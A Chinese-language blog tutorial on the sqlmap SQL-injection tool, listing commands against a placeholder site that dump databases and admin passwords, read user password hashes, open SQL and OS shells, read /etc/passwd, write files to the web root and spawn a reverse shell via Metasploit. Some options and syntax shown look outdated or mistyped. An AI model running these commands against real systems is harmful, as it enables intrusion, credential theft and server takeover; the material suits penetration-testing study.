SQL注入攻擊之sqlmap

SQL注入攻擊之sqlmap

cn0sec 2020-02-27

sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,現在支援python3了。

sqlmap支援MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測。

SQLmap語法

SQLmap命令選項被歸類為`目標(Target)選項`、`請求(Request)選項`、`優化`、`注入`、`檢測`、`技巧(Techniques)`、`指紋`、`枚舉`等。  

具體使用sqlmap -h詳細查看。

sqlmap支援五種不同的注入模式:

l 基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;

l 基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;

l 基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中;

l 聯合查詢注入,可以使用union的情況下的注入;

l 堆查詢注入,可以同時執行多條語句的執行時的注入。

SQL注入的分類可以看SQL注入的分類 --cn0sec.cn

安裝方法

(1)linux下git直接安裝

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev  

(2)windows下安裝

windows下下載sqlmap的壓縮包,解壓後即可使用。但需要一些組件包的支援,需要有python 2.x或者3.x環境支援。

(3)kali及PentestBox默認安裝sqlmap

注入方法

一、Sqlmap注入篇

具體可以用"sqlmap -h"查看完整的命令幫助文檔;

1、檢查注入點

sqlmap -u http://xxx.com/1.php?id=11  

2、爆所有資料庫資訊

sqlmap -u http://xxx.com/1.php?id=11 --dbs  

爆當前資料庫資訊

sqlmap -u http://xxx.com/1.php?id=11 --current-db  

3、列出指定資料庫所有的表名

sqlmap -u http://xxx.com/1.php?id=11 -D a --tables  'a' 為指定資料庫名稱  

4、列出指定表名的所有列名

sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin --columns  'admin' 為指定表名稱  

5、輸出表名指定列名欄位的值數據

sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin -C name,password --dump  'name,password' 為指定欄位名稱  

二、Sqlmap用戶許可權篇

1、列出資料庫管理系統用戶:

sqlmap -u http://xxx.com/1.php?id=11 --users  

查看當前連接資料庫用戶:

sqlmap -u http://xxx.com/1.php?id=11 --current-user  

查看資料庫用戶所有密碼:

sqlmap -u http://xxx.com/1.php?id=11 --passwords  

2、判斷當前用戶是否是DBA?

sqlmap -u http://xxx.com/1.php?id=11 --is-dba  

3、查看用戶許可權:

sqlmap -u http://xxx.com/1.php?id=11 --privileges  sqlmap -u http://xxx.com/1.php?id=11 --privileges -U  

三、Sqlmap文件操作與shell提權篇

1、sql shell

通過sqlmap可以直接獲取一個sql shell,直接執行sql語句進行交互。

sqlmap -u http://xxx.com/1.php?id=11 --sql-shell  sql-shell> select version();  

注意:這裡由於進入了sql shell可以執行sql語句了,也可以用 load data infile、load_file、into outfile等函數來進行文件讀取或寫入;

2、cmd shell

這裡通過sqlmap可以直接獲取一個cmd shell,直接執行cmd命令進行交互。

sqlmap -u http://xxx.com/1.php?id=11 --os-shell  sqlmap -u http://xxx.com/1.php?id=11 --os-cmd=ipconfig  

注意:需要許可權很大跟物理路徑,要是不知道物理路徑,可以用sqlmap枚舉。

3、讀取伺服器上指定文件

sqlmap -u http://xxx.com/1.php?id=11 --file-read=/etc/passwd  sqlmap -u http://xxx.com/1.php?id=11 --file-read=d:/test.txt    

4、寫入本地文件到伺服器上

sqlmap -u http://xxx.com/1.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt  

其他

是否支援union 注入

 sqlmap -u http://xxx.com/1.php?id=11 --union-check  

採用union 注入

sqlmap -u http://xxx.com/1.php?id=11 --union-use  

union配合order by

sqlmap -u http://xxx.com/1.php?id=11 –union-tech orderby  

保存注入過程到一個文件,還可中斷,下次恢復在注入

 sqlmap -u http://xxx.com/1.php?id=11 -S 保存:-s 「xx.log」  恢復:-s 「xx.log」 –resume)  

指定可測試的參數

 sqlmap -u http://xxx.com/?page=1&id=2 -p 「page,id」  

顯示注入詳細的等級(0-6)

 sqlmap -u http://xxx.com/1.phpid=11 -v  0:只顯示Python的回溯,錯誤和關鍵消息。  1:顯示資訊和警告消息。  2:顯示調試消息。  3:有效載荷注入。  4:顯示HTTP請求。  5:顯示HTTP響應頭。  6:顯示HTTP響應頁面的內容  

採用多執行緒

sqlmap -u http://xxx.com/1.php?id=11 --threads 3  

反彈shell

sqlmap -u http://xxx.com/1.php?id=11 --os-pwn (–os-pwn –msf-path=/opt/framework/msf3/)  

基本sqlmap用法,下一篇我們學習下cookie注入和post注入, 偽靜態注入等等

Tags: